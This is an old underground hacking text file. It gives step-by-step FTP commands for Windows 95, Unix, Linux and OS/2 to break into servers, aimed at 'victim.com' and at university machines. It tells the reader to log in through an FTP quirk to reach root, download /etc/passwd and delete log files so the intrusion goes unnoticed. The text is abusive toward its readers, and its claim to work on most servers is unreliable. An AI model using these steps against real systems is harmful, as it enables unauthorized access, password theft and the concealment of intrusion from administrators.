WINDOWS 95
Go to a dos prompt after you started dial up networking
type by the way if you don't know what victim.com stands for 
you are a dumb mother fucker

TYPE
ftp victim.com
server will ask for username press enter
server will ask for password press enter
at the prompt type 
quote user ftp
then type
quote cwd ~root
then type
quote pass ftp

Make sure that you delt the log file they might look at it and see that
you where on.
The password file for who is and isnt allowed on the system is
in the directory /etc/passwd so for you lamers once you got on the 
system type cd etc the type get passwd.
If you have done the above right and the server is a little old
you will have root access.  For you lamers root acces is the highest
security status you can have.

Note: This will work on most servers the older ones like
University's use.

UNIX
Do the same as above at the unix prompt.

LINUX 
Do the same as unix.

OS/2
Do the same as windows 95 but open a OS/2 windows
